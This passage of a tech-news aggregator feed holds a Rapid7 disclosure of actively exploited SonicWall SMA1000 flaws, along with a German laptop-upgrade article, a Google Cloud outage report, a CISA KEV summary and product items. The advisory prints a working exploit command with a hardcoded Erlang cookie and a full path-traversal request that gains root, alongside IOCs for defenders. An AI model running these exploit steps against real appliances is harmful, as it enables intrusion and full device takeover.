Ein Stolperstein verdient Beachtung. Nach einem Hardware-Eingriff verlangt Windows beim Start hĂ€ufig den BitLocker-WiederherstellungsschlĂŒssel. Sichern Sie diesen vorab ĂŒber Ihr Microsoft-Konto, sonst sperrt sich das System aus. FĂŒr den Umzug des Betriebssystems stecken Sie die neue SSD ĂŒber einen USB-SATA- oder USB-NVMe-Adapter fĂŒr rund 15 Euro an und klonen den DatentrĂ€ger mit einem kostenlosen Tool, zum Beispiel AOMEI Backupper oder der Ă€lteren Gratis-Version von Macrium Reflect. Die vollstĂ€ndige Neuinstallation ĂŒber einen USB-Stick bleibt die grĂŒndlichere Variante. FĂŒr Hersteller-SSDs eignen sich Samsung Magician oder die Acronis-Editionen von Crucial, WD und Kingston.

Akkutausch und Reinigung bei offenem GehÀuse

Ist das GehĂ€use offen, bietet sich weitere Pflege an. Der Akku ist ein Verschleißteil und verliert ĂŒber die Jahre KapazitĂ€t. Ein Austausch bringt die Laufzeit zurĂŒck. Original-Akkus passen sicher, geprĂŒfte Drittanbieter mit CE- und TÜV-GS-Kennzeichnung kosten weniger. Moderne Lithium-Ionen-Akkus brauchen keine vollstĂ€ndigen Entladezyklen mehr. Tiefentladung schadet eher, und viele Hersteller bieten ein Ladelimit von 80 Prozent zur Schonung.

PC zu langsam PC Entstauben

Friedrich Stiemer

Staub setzt sich ĂŒber die Jahre im LĂŒfter und an den KĂŒhlrippen ab und drosselt die KĂŒhlung. Bei geöffnetem GerĂ€t entfernen Sie ihn vorsichtig mit Druckluft oder einem weichen Pinsel, ohne den LĂŒfter frei drehen zu lassen. Ist die WĂ€rmeleitpaste auf dem Prozessor ausgehĂ€rtet, senkt ein Erneuern die Temperaturen merklich. Das Resultat sind ein leiserer LĂŒfter und stabilere Taktraten unter Last.

Fazit

Den grĂ¶ĂŸten Gewinn bringt der Tausch auf eine NVMe-SSD, gefolgt von mehr Arbeitsspeicher. Beides ist mit etwas Geschick in einer Stunde eingebaut und verlĂ€ngert die Nutzungsdauer eines vier Jahre alten Notebooks deutlich. Die hohen Speicherpreise des Jahres 2026 verschieben die Rechnung, kippen sie aber, denn eine SATA-SSD und ein passender RAM-Riegel bleiben gĂŒnstiger als ein NeugerĂ€t. Bei verlötetem Speicher, ausgereizter Mainboard-Grenze oder zu schwacher CPU ist der Neukauf die bessere Wahl.

]]> <![CDATA[Even HP resellers thought the price of toner and ink was too high – so HP India facilitated an illegal cartel]]> https://tsecurity.de/de/3672407/it-nachrichten/even-hp-resellers-thought-the-price-of-toner-and-ink-was-too-high-so-hp-india-facilitated-an-illegal-cartel/ https://tsecurity.de/de/3672407/it-nachrichten/even-hp-resellers-thought-the-price-of-toner-and-ink-was-too-high-so-hp-india-facilitated-an-illegal-cartel/ Thu, 16 Jul 2026 07:18:31 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[VirtualBox Bridged Adapter cannot ping host]]> https://tsecurity.de/de/3672144/windows-tipps/virtualbox-bridged-adapter-cannot-ping-host/ https://tsecurity.de/de/3672144/windows-tipps/virtualbox-bridged-adapter-cannot-ping-host/ Thu, 16 Jul 2026 03:10:41 +0200 đŸȘŸ Windows Tipps tsecurity.de VirtualBox Bridged Adapter cannot ping hostIf your VirtualBox virtual machine can access the network but cannot ping the Windows 11 host while using the Bridged Adapter network mode, the problem is usually related to Windows networking, firewall rules, or VirtualBox network settings. In this post, we will see what to do if VirtualBox Bridged Adapter cannot ping the host. This [
]

This article VirtualBox Bridged Adapter cannot ping host first appeared on TheWindowsClub.com.

]]> <![CDATA[I 3D Print Over 10 Pounds of Material Every Week -- These Are the Filaments I Recommend]]> https://tsecurity.de/de/3671865/it-nachrichten/i-3d-print-over-10-pounds-of-material-every-week-these-are-the-filaments-i-recommend/ https://tsecurity.de/de/3671865/it-nachrichten/i-3d-print-over-10-pounds-of-material-every-week-these-are-the-filaments-i-recommend/ Wed, 15 Jul 2026 23:01:49 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Rapid7 MDR Team Discovers New SonicWall SMA1000 Zero Days being Actively Exploited (CVE-2026-15409, CVE-2026-15410)]]> https://tsecurity.de/de/3671466/it-security-nachrichten/rapid7-mdr-team-discovers-new-sonicwall-sma1000-zero-days-being-actively-exploited-cve-2026-15409-cve-2026-15410/ https://tsecurity.de/de/3671466/it-security-nachrichten/rapid7-mdr-team-discovers-new-sonicwall-sma1000-zero-days-being-actively-exploited-cve-2026-15409-cve-2026-15410/ Wed, 15 Jul 2026 19:24:03 +0200 📰 IT Security Nachrichten tsecurity.de Overview

On July 14, 2026, SonicWall published a security advisory addressing two vulnerabilities affecting SMA1000 Series remote access appliances, including the critical server-side request forgery (SSRF) vulnerability CVE-2026-15409 (CVSS 10.0) and the high-severity code injection vulnerability CVE-2026-15410. The advisory urges customers to immediately apply the latest platform hotfix releases.

Successful exploitation of CVE-2026-15409 permits an unauthenticated attacker to open a websocket-based tunnel to arbitrary localhost-only services, while CVE-2026-15410 is a local privilege escalation that permits an attacker with access to an internal service listening on port 8188 on localhost to execute arbitrary operating system commands as root via a malicious path traversal-based remove_hotfix workflow.

Both vulnerabilities are being actively exploited in the wild. Prior to SonicWall’s official vulnerability disclosure, Rapid7’s Managed Detection and Response team observed active, targeted zero-day exploitation of internet-facing SMA 1000-series appliances. In the SonicWall advisory, exploitation in the wild was noted, and both CVE-2026-15409 and CVE-2026-15410 have been added to CISA's Known Exploited Vulnerabilities (KEV) catalog. Given the confirmed exploitation activity and the critical unauthenticated impact of the vulnerabilities, organizations should prioritize remediation of SMA1000 appliances on an emergency basis. A Python proof-of-concept for CVE-2026-15409 is available here for exposure validation, and a Metasploit module for the chain is in development.

Affected products include SonicWall SMA1000 Series models 6210, 7210, and 8200v running:

  • 12.4.3-03245

  • 12.4.3-03387

  • 12.4.3-03434 (platform-hotfix)

  • 12.5.0-02283

  • 12.5.0-02624

  • 12.5.0-02800 (platform-hotfix)

These vulnerabilities do not affect SSL VPN functionality on SonicWall firewalls or the SMA 100 Series product line.

Technical overview

The primary vulnerability is in a websocket proxy feature, accessed via the path /wsproxy on the affected “SonicWall WorkPlace” application (served on port 443 by default). This feature permits a netcat-like TCP tunnel to arbitrary hosts and ports, which are provided by the user in URL parameters. By providing host values that point to localhost, the attacker can access local SonicWall appliance system services behind the firewall to send and receive arbitrary TCP traffic to and from them. This is the first-stage vulnerability, CVE-2026-15409, that Rapid7 MDR analysts are seeing attackers exploiting in the wild. With this capability, an attacker can reach and exploit less-hardened services running on the appliance, such as the Erlang application on localhost:1050 or the ctrl-service application on localhost:8188. 

We developed an exploit targeting the Erlang process listening on localhost:1050 for remote code execution. Note that the provided cookie value is hardcoded for the Erlang process, based on our testing, so authentication is not required to establish code execution.

# python3 cve-2026-15409.py --ws-url 'wss://192.168.1.46/wsproxy?bmID=-3389c1b25ccd&serviceType=SSH&host=0.0.0.0&port=1050' --ws-user-agent 'SMA Connect Agent' --ws-insecure-tls --cookie 10ecad5b446e86864832904cd439b6b70262 --exec 'whoami && id && pwd && hostname'
Authenticated to couchdb@127.0.0.1
Peer flags: 0xd07df7fbd
Peer creation: 1784069352
RPC os:cmd/1 => couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma

With code execution established, the attacker can escalate to root on the appliance by exploiting CVE-2026-15410, which is a path traversal in the remove_hotfix workflow of ctrl-service. This can be performed via the web console or by hitting port 8188 on the device. The attacker provides a hotfix value containing a path traversal sequence to a malicious script, such as “../../../../var/tmp/privesc”. The system executes the script as root and (typically) reboots the appliance immediately after.
An example malicious request achieving privilege escalation by leveraging this from the web panel is depicted below:

POST /rollbackConfirm.action HTTP/1.1
Host: 192.168.181.46:8443
Cookie: EXTRAWEB_REFERER=%252F; JSESSIONID=node01bcg1tbiy6qi7s97xsoa42lhp8.node0
Content-Length: 134
Cache-Control: max-age=0
Sec-Ch-Ua: "Not?A_Brand";v="24", "Chromium";v="152"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36
Origin: https://192.168.181.46:8443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.181.46:8443/rollbackConfirm.action
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive

csrfToken=GFEJUCQBUZOLUCCOO3YBA8G30ZE9VKDP&command=rollback&rollbackUpgradeTime=&hotfix=../../../../../tmp/1234.sh&rollbackHotfixTime=

If the provided hotfix file does not exist, a reboot does not occur. If the provided file exists, the system reboots after it chmods and executes the file. Below is a system monitor (pspy) depicting output of this occurring during exploitation:

2026/07/09 23:21:00 CMD: UID=0     PID=10355  | chmod +x /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh
2026/07/09 23:21:00 CMD: UID=0     PID=10355  | /bin/bash /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh --unattended
2026/07/09 23:21:00 CMD: UID=0     PID=10361  | /usr/bin/python3 /usr/local/ctrl-service/bin/ctrl-service.py
[...]
2026/07/09 23:21:22 CMD: UID=0     PID=11124  | shutdown -r now

A Python proof-of-concept for CVE-2026-15409 is available here; a Metasploit module for the chain is in development.

Mitigation guidance

Organizations operating SonicWall SMA1000 appliances should immediately upgrade to the latest platform hotfix releases.

Fixed versions are:

Product

Fixed Version

SMA1000 Series (6210, 7210, 8200v)

12.4.3-03453 (platform-hotfix) or later

SMA1000 Series (6210, 7210, 8200v)

12.5.0-02835 (platform-hotfix) or later

There are no workarounds available.

Because active exploitation has been confirmed, organizations should not rely solely on patching. SonicWall additionally recommends:

  • Performing a thorough forensic review for indicators of compromise.

  • Re-imaging physical appliances or redeploying virtual appliances if compromise is identified.

  • Changing user and administrator passwords.

  • Resetting TOTP tokens following confirmed compromise.

Customers should consult the SonicWall security advisory for the latest remediation guidance and platform hotfix availability.

Observed exploitation

Prior to SonicWall’s official vulnerability disclosure, our Managed Detection and Response team observed active, targeted exploitation of internet-facing SMA 1000-series appliances. Threat actors were primarily leveraging the perimeter appliance as a stealthy initial access vector, executing commands on the operating system by bypassing traditional input validation controls. Once they established a foothold on the appliance, the actors systematically extracted high-value credentials, active session databases, and Time-Based One-Time Password (TOTP) multi-factor authentication (MFA) seed configurations. This local harvesting was designed to ensure long-term, persistent access that could survive standard network-level remediations.

With these harvested resources, the threat actors quickly shifted to lateral movement, pivoting from the compromised appliance directly into the internal corporate network. Specifically, we observed a sequence of anomalous, VPN-less Active Directory authentications targeting core domain controllers. These authentications originated directly from the appliance’s internal IP address, using atypical, non-corporate workstation client names (such as kali or other non-inventory hostnames) under the context of the appliance’s integrated LDAP service account. This unique behavior of direct, machine-level lateral movement with no corresponding active VPN tunnel confirmed that the appliance itself had been fully compromised and was acting as an unmonitored backdoor into the corporate directory infrastructure.

Artifacts or evidence sources and IOCs

Rapid7 recommends reviewing appliance logs for evidence of active exploitation, including the following characteristic behaviors and specific log indicators:

Characteristic Behaviors

  • Websocket exploit IOC log patterns: extraweb_access.log entries containing the strings ("GET" AND "wsproxy" AND "=-3389" AND “ 101 “) indicate interactions with the niche affected service. If suspicious host parameter values such as “0.0.0.0”, “localhost”, or “::ffff:127.0.0.1” are present, that’s indicative of likely exploitation of CVE-2026-15409. Note that “serviceType=SSH” was used in our published materials, but options such as “serviceType=TELNET” are viable alternatives.

  • Hotfix removal exploit IOC log patterns: The ctrl-service.log shows the hotfix-removal utility (/usr/local/bin/remove_hotfix) being invoked with traversal sequences pointing to attacker-staged shell script payloads (e.g., ../../../../../../tmp/sma1000_5c47.sh). This is indicative of successful exploitation of CVE-2026-15410.

  • Internet-facing probing: Enumeration of the SMA portal, including repeated requests to /auth1.html, path-traversal attempts, and generic file/enumeration requests (e.g., /.env, /api/sonicos/is-sslvpn-enabled).

  • Authentication activity: Authentication-API activity against /__api__/logon/<session-id>/authenticate.

  • Sensitive path access: Access to sensitive appliance paths such as /tmp/temp.db*, consistent with theft of stored session data.

  • AD/Service Account Compromise: NTLM logons (Windows Event ID 4624, logon type 3) into internal domain controllers sourced from the appliance's internal IP address, using attacker-controlled workstation names (e.g., kali) without a corresponding VPN session.

  • extraweb_access.log: Requests to /__api__/login or /__api__/logout returning HTTP 200, and requests to /wsproxy containing suspicious host parameters returning HTTP 101.

Configuration artifacts

  • /var/lib/unit/conf.json containing routes for /__api__/login or /__api__/logout, which are not present in legitimate configurations.

Atomic Indicators

  • F.N.S Holdings Limited (ASN - 206092): The threat actor(s) utilized varying IP addresses, but they belonged to the VPN hosting provider FNS Holdings Limited. Limit or block access to FNS Holdings Limited if there is no business need. For reference, the IP addresses we observed were:

    • 45.131.194.0/24

    • 45.146.54.0/24

    • 63.135.161.0/24

    • 173.239.211.0/24

    • 193.37.32[.]179

    • 193.37.32[.]214

    • 216.73.163[.]151

    • 216.73.163[.]158

If any indicators of compromise are identified, organizations should treat the appliance as compromised and follow SonicWall’s recovery guidance.

Rapid7 customers

Organizations should prioritize identifying all internet-facing SonicWall SMA1000 appliances and determine whether affected software versions remain deployed. Given SonicWall’s and Rapid7’s confirmation of active exploitation, exposed appliances should be considered high-priority assets for remediation.

Security teams should also review available authentication, web access, and appliance management logs for the indicators published by SonicWall to determine whether follow-up incident response activities are warranted.

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers will be able to assess exposure to CVE-2026-15409 and CVE-2026-15410 with authenticated vulnerability checks available in the July 15 content release.

Updates

July 15, 2026: Initial publication.

]]> <![CDATA[Samsung shows off ‘brand new shape’ for Z Fold 8 in Spider-Man teaser]]> https://tsecurity.de/de/3671362/it-nachrichten/samsung-shows-off-brand-new-shape-for-z-fold-8-in-spider-man-teaser/ https://tsecurity.de/de/3671362/it-nachrichten/samsung-shows-off-brand-new-shape-for-z-fold-8-in-spider-man-teaser/ Wed, 15 Jul 2026 18:34:19 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[HP's Smart Tank 5101 all-in-one cartridge-free printer includes up to two years of free ink and it's nearly 30% off right now]]> https://tsecurity.de/de/3671358/it-nachrichten/hps-smart-tank-5101-all-in-one-cartridge-free-printer-includes-up-to-two-years-of-free-ink-and-its-nearly-30-off-right-now/ https://tsecurity.de/de/3671358/it-nachrichten/hps-smart-tank-5101-all-in-one-cartridge-free-printer-includes-up-to-two-years-of-free-ink-and-its-nearly-30-off-right-now/ Wed, 15 Jul 2026 18:34:14 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[How to Install an AIO CPU Cooler đŸ–„ïž Part5: How To Build A PC For Beginners 🎼]]> https://tsecurity.de/de/3670825/videos/how-to-install-an-aio-cpu-cooler-part5-how-to-build-a-pc-for-beginners/ https://tsecurity.de/de/3670825/videos/how-to-install-an-aio-cpu-cooler-part5-how-to-build-a-pc-for-beginners/ Wed, 15 Jul 2026 15:33:14 +0200 đŸŽ„ Videos tsecurity.de Author: Shannon Morse - Bewertung: 13x - Views:52

💧 Liquid cooling sounds intimidating... but it's actually one of the easiest parts of a modern PC build!

In this episode of my PC Build Series, I'll walk you through installing an ASUS ROG Ryujin III ARGB Extreme AIO cooler onto an AMD Ryzen 9 9950X system. We'll cover what an AIO actually is, why CPUs need cooling, proper airflow, radiator placement, thermal paste, fan orientation, pump installation, and how to connect everything correctly.

Whether you're building your very first PC or just want to avoid common mistakes, this guide will help make liquid cooling a whole lot less scary.

Support the channel!
❀ Patreon: https://patreon.com/shannonmorse
⭐ Become a YouTube Member!

#PCBuild #PCBuilding #CustomPC #LiquidCooling #AIO #ASUSROG #AMD #Ryzen9950X #GamingPC #TechTutorial

https://www.ifixit.com/products/pro-tech-toolkit
My build: https://pcpartpicker.com/user/snubsie/saved/#view=Htk84D

đŸ“ș
Watch the Full PC Build Series: https://www.youtube.com/playlist?list=PLeYHKbaShxTHQVUHZfM8_44pjyI9LLzfe

* Parts List (and best deals!) // Affiliate links:
- Prices may differ
CPU: AMD Ryzen 9 9950X 4.3 GHz 16-Core Processor ($519.00 @ Amazon)
Amazon: https://amzn.to/3O70PIU
Best Buy: https://bestbuycreators.7tiv.net/YRWkZq
B&H: https://bhpho.to/3PjZZcr

CPU Cooler: Asus ROG Ryujin III ARGB Extreme 89.73 CFM Liquid CPU Cooler ($389.99 @ Amazon)
Amazon: https://amzn.to/4bkdodD
Best Buy: (similar option) https://bestbuycreators.7tiv.net/DyDM4q
B&H: https://bhpho.to/46EWdR4

Motherboard: Asus ROG STRIX X870-A GAMING WIFI ATX AM5 Motherboard ($234.99 @ Amazon)
Amazon: https://amzn.to/3NI9tO0
Best Buy: (similar option) https://bestbuycreators.7tiv.net/bORgn6
B&H: https://bhpho.to/4ubyfa7

Memory: Kingston FURY Beast RGB 64 GB (2 x 32 GB) DDR5-6400 CL32 Memory ($1359.99 @ Newegg - OOS) x 2
Amazon: https://amzn.to/49SZug7
Best Buy: (similar option) https://bestbuycreators.7tiv.net/2anB4G

Storage: Kingston NV3 2 TB M.2-2280 PCIe 4.0 X4 NVME Solid State Drive ($311.99 @ Amazon)
Amazon: https://amzn.to/4bSOyBO
Best Buy: https://bestbuycreators.7tiv.net/vPeg7N
B&H: https://bhpho.to/4bpm9m9

Storage: Kingston FURY Renegade G5 2.048 TB M.2-2280 PCIe 5.0 X4 NVME Solid State Drive ($424.99 @ iBUYPOWER)
Amazon: https://amzn.to/4pTv8QB
Best Buy: https://bestbuycreators.7tiv.net/N9AYrN
B&H: https://bhpho.to/40dqbYK

Video Card: Asus TUF GAMING OC GeForce RTX 5080 16 GB Video Card ($1699.99 @ B&H)
Amazon: https://amzn.to/3NNmKos
Best Buy: https://bestbuycreators.7tiv.net/GKrYLB
B&H: https://bhpho.to/46HyuQb

Case: Asus A31 ATX Mid Tower Case ($64.98 @ Amazon)
Amazon: https://amzn.to/4bTH8yd
Best Buy: (similar option) https://bestbuycreators.7tiv.net/7a3BZO
Newegg: https://click.linksynergy.com/link?id=qn*xL%2FagfY4&offerid=1786142.445837726262477428148556&type=2&murl=https%3A%2F%2Fwww.newegg.com%2Fasus-atx-mid-tower-a31-tg-steel-plastic-tempered-glass-computer-case-white%2Fp%2FN82E16811173067%3Fitem%3DN82E16811173067
B&H: https://bhpho.to/4d3Fyu8

Power Supply: Asus TUF Gaming 1000G 1000 W 80+ Gold Certified Fully Modular ATX Power Supply ($179.99 @ Amazon)
Amazon: https://amzn.to/4qSDWHG
Best Buy: (similar option) https://bestbuycreators.7tiv.net/LKeYQO
Newegg: https://click.linksynergy.com/link?id=qn*xL%2FagfY4&offerid=1786142.445835163683945762036176&type=2&murl=https%3A%2F%2Fwww.newegg.com%2Fasus-atx-3-0-compatible-atx12v-1000-w-80-plus-gold-certified-power-supply-tuf-gaming-1000g%2Fp%2FN82E16817320029%3Fitem%3DN82E16817320029
B&H: https://bhpho.to/3N1pqPq

Case Fan: Asus TUF GAMING TF120 ARGB White 76 CFM 120 mm Fan ($14.99 @ Amazon)
Amazon: https://amzn.to/3YWIbG7
Best Buy: https://bestbuycreators.7tiv.net/QjVx5z
Newegg: https://click.linksynergy.com/link?id=qn*xL%2FagfY4&offerid=1786142.4458310460165103099108139&type=2&murl=https%3A%2F%2Fwww.newegg.com%2Fasus-tuf-gaming-tf120-argb-white-case-fan%2Fp%2FN82E16835101094%3Fitem%3DN82E16835101094
B&H: https://bhpho.to/4uaSzs9

Case Fan: Asus TUF Gaming TR120 ARGB 77.4 CFM 120 mm Fans 3-Pack ($68.54 @ Amazon)
Amazon: https://amzn.to/4rzKNpN
Best Buy: https://bestbuycreators.7tiv.net/55OBVD
Newegg: https://click.linksynergy.com/link?id=qn*xL%2FagfY4&offerid=1786142.4458310460165103099108139&type=2&murl=https%3A%2F%2Fwww.newegg.com%2Fasus-tuf-gaming-tf120-argb-white-case-fan%2Fp%2FN82E16835101094%3Fitem%3DN82E16835101094
B&H: https://bhpho.to/46KcvYO




Today's Goal
00:43 Why CPUs Need Cooling
02:01 What Is an AIO Cooler?
03:05 Understanding the Parts
04:14 Patreon Shoutout
05:02 Airflow Basics
06:39 Radiator Placement
07:43 Installing the Fans
10:07 Installing the Radiator
11:48 Thermal Paste Explained
13:02 Installing the CPU Block
14:49 Pump & Fan Connections
16:06 Build Progress Review
16:54 Next Episode Preview


Editor: @ColleenEdits

😍 FTC DISCLAIMER 😍
Affiliate links listed above allow me to receive a small commission.
Code of Ethics:
https://www.morsecodecreative.com/code-of-ethics

FTC: Links marked with * are affiliate links

]]> <![CDATA[USN-8548-1: Linux kernel vulnerabilities]]> https://tsecurity.de/de/3670588/unix-server/usn-8548-1-linux-kernel-vulnerabilities/ https://tsecurity.de/de/3670588/unix-server/usn-8548-1-linux-kernel-vulnerabilities/ Wed, 15 Jul 2026 14:16:39 +0200 🐧 Unix Server tsecurity.de <![CDATA[Google Cloud configuration update disrupts VMware Engine stretched clusters]]> https://tsecurity.de/de/3670376/it-security-nachrichten/google-cloud-configuration-update-disrupts-vmware-engine-stretched-clusters/ https://tsecurity.de/de/3670376/it-security-nachrichten/google-cloud-configuration-update-disrupts-vmware-engine-stretched-clusters/ Wed, 15 Jul 2026 12:53:44 +0200 📰 IT Security Nachrichten tsecurity.de

A faulty configuration update on Google Cloud VMware Engine (GCVE) caused a multi-region disruption on Tuesday, disrupting inter-zone connectivity across three regions.

The incident, which lasted for over ten hours, began at 5:00 PM UTC on July 14 and was resolved by 04:46 AM UTC on July 15. It affected VMware Engine stretched clusters in Sydney (australia-southeast1), Melbourne (australia-southeast2), and Frankfurt (europe-west3).

Google later identified a recent network configuration update as the cause of the inter-zone network disruption and mitigated the issue by rolling back the faulty configuration to its last-known configuration.

Google traces the fault

The first status update, posted at 08:24 PM UTC on July 14, described the incident as a network connectivity issue affecting stretched clusters, while compute and storage services remained unaffected. At that time, GCVE VMs were running as expected, but the company acknowledged that customers may experience connectivity issues with the VMs.

But soon after, the preliminary investigation indicated that the issue could be stemming from an underlying network connectivity issue affecting the infrastructure that links the zones within a stretch cluster.

“This disruption is causing synchronization issues between the affected zones, and some GCVE customers using Stretched Cluster may experience inter-site communication failures to their GCVE environments within the affected zones,” Google Cloud said in a notification.

While the company was working on restoring full connectivity, Google advised moving workloads to the healthy side of the stretched cluster, where feasible, and only after consulting Google Support.

Less than two hours after the first update, Google Cloud identified underlying inter-zone communication failures and Border Gateway Protocol (BGP) session flapping between cluster zones. “Specifically, network connectivity has been lost between the affected zones and the witness appliance. Because the witness appliance is currently unreachable, the cluster zones are unable to safely synchronize state. As a result, VMs on the affected sites are becoming isolated and may be left without writable data,” noted the company.

And at 11:05 PM UTC, it posted that the investigation has identified a recent configuration update that is the likely cause of the inter-zone network disruption, and at 04:46 AM UTC on July 15, the engineering team mitigated the issue by rolling back the faulty configuration to its last-known good value.

“Google made a network setting change that accidentally broke the connection between the two data center zones in VMware Engine. The virtual machines themselves kept running fine, but nobody could reach them, and there was a risk that some machines might lose the ability to save data properly. This indicates that even managed cloud infrastructure can experience failures in critical shared network components,” said Pareekh Jain, CEO at  EIIRTrend & Pareekh Consulting.

Neil Shah, vice president at Counterpoint Research, said the real culprit here is the SDN orchestration control plane, where a routine internal network update or configuration tweak introduced routing failure across multiple zones. “While most of the physical nodes are distributed for exactly this redundancy purpose, they are still tightly coupled to a singular shared orchestration fabric, so if that control plane crashes, then everything comes crashing down, and the physical distributed nodes become irrelevant.”

Stretched clusters fall short

Although the outage did not bring down virtual machines, the incident undermined the primary reason enterprises deploy stretched clusters.

“Stretched clusters are designed to keep applications running if one site fails. When the network connecting the two sites is disrupted, that resilience breaks down, leaving workloads inaccessible despite healthy compute and storage. The incident shows that network infrastructure can become a single point of failure,” highlighted Jain.

Jain noted companies use this setup specifically for their most important systems, the ones that can’t afford to go offline, like hospital records, banking systems, or company databases. A 12-hour outage on systems like that can mean lost money, missed deadlines, angry customers, and in some industries, legal or regulatory trouble.

Rethinking resilience

The incident also highlights that deploying stretched clusters alone does not eliminate dependency on the cloud provider’s underlying networking and control plane.

“If CIOs are looking to achieve absolute digital sovereignty, mission-critical production data must be decoupled from the automation layer. The asynchronous geo-separation with multi-cloud deployment could be a more viable strategy to avoid a single systematic point of failure,” added Shah.

Jain added that leaders should ask their cloud provider exactly what parts are shared versus separate, keep a true backup plan outside that same provider for their most critical systems, regularly test what happens if the provider’s systems fail, and make sure contracts account for compensation if this happens again.

]]> <![CDATA[CISA Adds SonicWall SMA1000 Vulnerabilities to KEV Catalog Following Active Exploitation]]> https://tsecurity.de/de/3670179/it-security-nachrichten/cisa-adds-sonicwall-sma1000-vulnerabilities-to-kev-catalog-following-active-exploitation/ https://tsecurity.de/de/3670179/it-security-nachrichten/cisa-adds-sonicwall-sma1000-vulnerabilities-to-kev-catalog-following-active-exploitation/ Wed, 15 Jul 2026 11:35:35 +0200 📰 IT Security Nachrichten tsecurity.de CVE-2026-15409

Security researchers have identified two critical vulnerabilities, CVE-2026-15409 and CVE-2026-15410, affecting SonicWall SMA1000 Series appliances. The flaws are already being exploited in the wild, prompting urgent warnings from SonicWall and CISA. Successful exploitation could result in Remote Code Execution, bypass of security restrictions, and broader compromise of affected systems.  The vulnerabilities impact SonicWall SMA1000 models 6210, 7210, and 8200v running versions 12.4.3-03245, 12.4.3-03387, 12.4.3-03434 (platform-hotfix), 12.5.0-02283, 12.5.0-02624, and 12.5.0-02800 (platform-hotfix). 

CVE-2026-15409 and CVE-2026-15410 Explained 

CVE-2026-15409 is a server-side request forgery (SSRF) vulnerability in the SMA1000 Appliance Work Place interface. According to SonicWall, an unauthenticated remote attacker could force the appliance to send requests to unintended locations. The flaw carries a CVSS v3 score of 10.0 with the vector CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H and is mapped to CWE-918.  CVE-2026-15410 is a post-authentication code injection vulnerability in the SMA1000 Appliance Management Console (AMC). Under specific conditions, a remote authenticated attacker with administrator privileges could execute arbitrary operating system commands, enabling Remote Code Execution. The vulnerability has a CVSS score of 7.2, uses the vector CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, and is associated with CWE-94. 

Active Exploitation and Impact 

SonicWall confirmed that CVE-2026-15409 and CVE-2026-15410 are being actively exploited. The advisory states, "SonicWall PSIRT has investigated multiple cases indicating the active exploitation of the vulnerabilities described in this advisory. Customers are strongly urged to upgrade to the hotfix release as soon as possible to remediate these vulnerabilities."  The vulnerabilities may allow Remote Code Execution and bypass of security restrictions, increasing the risk of unauthorized system access. 

Fixed Versions and Detection Guidance 

SonicWall has released fixes in 12.4.3-03453 (platform-hotfix) and later, and 12.5.0-02835 (platform-hotfix) and later. The company noted that these issues do not affect SSL-VPN running on SonicWall firewalls or the SMA 100 Series product line.  Administrators are advised to inspect extraweb_access.log for HTTP 200 requests to /api/login or /api/logout, suspicious /wsproxy requests returning HTTP 101, ctrl-service.log entries indicating hotfix rollbacks with path traversal names, and unauthorized /api/login or /api/logout routes in /var/lib/unit/conf.json.  If indicators of compromise are found, SonicWall recommends re-imaging hardware appliances or redeploying virtual appliances, changing user and administrator passwords, and resetting TOTP tokens after performing a forensic investigation.  The advisory, SNWLID-2026-0008, was first published and last updated on July 14, 2026. The vulnerabilities were internally discovered by Adam Babis of SonicWall PSIRT, while Sean Koessel and Steven Adair of Volexity were credited in Version 1.1 for helping identify an additional indicator of compromise during the investigation. On the same day, CISA added the vulnerabilities to its Known Exploited Vulnerabilities Catalog. ]]> <![CDATA[I Recommend Leaving Your VPN Enabled Most of the Time. Here’s How and When I Use a VPN]]> https://tsecurity.de/de/3668951/it-nachrichten/i-recommend-leaving-your-vpn-enabled-most-of-the-time-heres-how-and-when-i-use-a-vpn/ https://tsecurity.de/de/3668951/it-nachrichten/i-recommend-leaving-your-vpn-enabled-most-of-the-time-heres-how-and-when-i-use-a-vpn/ Tue, 14 Jul 2026 21:03:20 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Bambu Lab A2L review: This 3D printer makes large-format printing look easy]]> https://tsecurity.de/de/3668823/it-nachrichten/bambu-lab-a2l-review-this-3d-printer-makes-large-format-printing-look-easy/ https://tsecurity.de/de/3668823/it-nachrichten/bambu-lab-a2l-review-this-3d-printer-makes-large-format-printing-look-easy/ Tue, 14 Jul 2026 19:46:43 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[The 'absolutely superb' Bambu Lab P2S we tested in our workshop just dropped in price]]> https://tsecurity.de/de/3668538/it-nachrichten/the-absolutely-superb-bambu-lab-p2s-we-tested-in-our-workshop-just-dropped-in-price/ https://tsecurity.de/de/3668538/it-nachrichten/the-absolutely-superb-bambu-lab-p2s-we-tested-in-our-workshop-just-dropped-in-price/ Tue, 14 Jul 2026 18:04:35 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[HP's LaserJet Pro 4000 Series is 'one of the fastest laser printers' in its class with blistering 42ppm speeds — and it just got a major price cut]]> https://tsecurity.de/de/3668051/it-nachrichten/hps-laserjet-pro-4000-series-is-one-of-the-fastest-laser-printers-in-its-class-with-blistering-42ppm-speeds-and-it-just-got-a-major-price-cut/ https://tsecurity.de/de/3668051/it-nachrichten/hps-laserjet-pro-4000-series-is-one-of-the-fastest-laser-printers-in-its-class-with-blistering-42ppm-speeds-and-it-just-got-a-major-price-cut/ Tue, 14 Jul 2026 15:18:26 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Deluxe Corporation beats the odds with mainframe migration 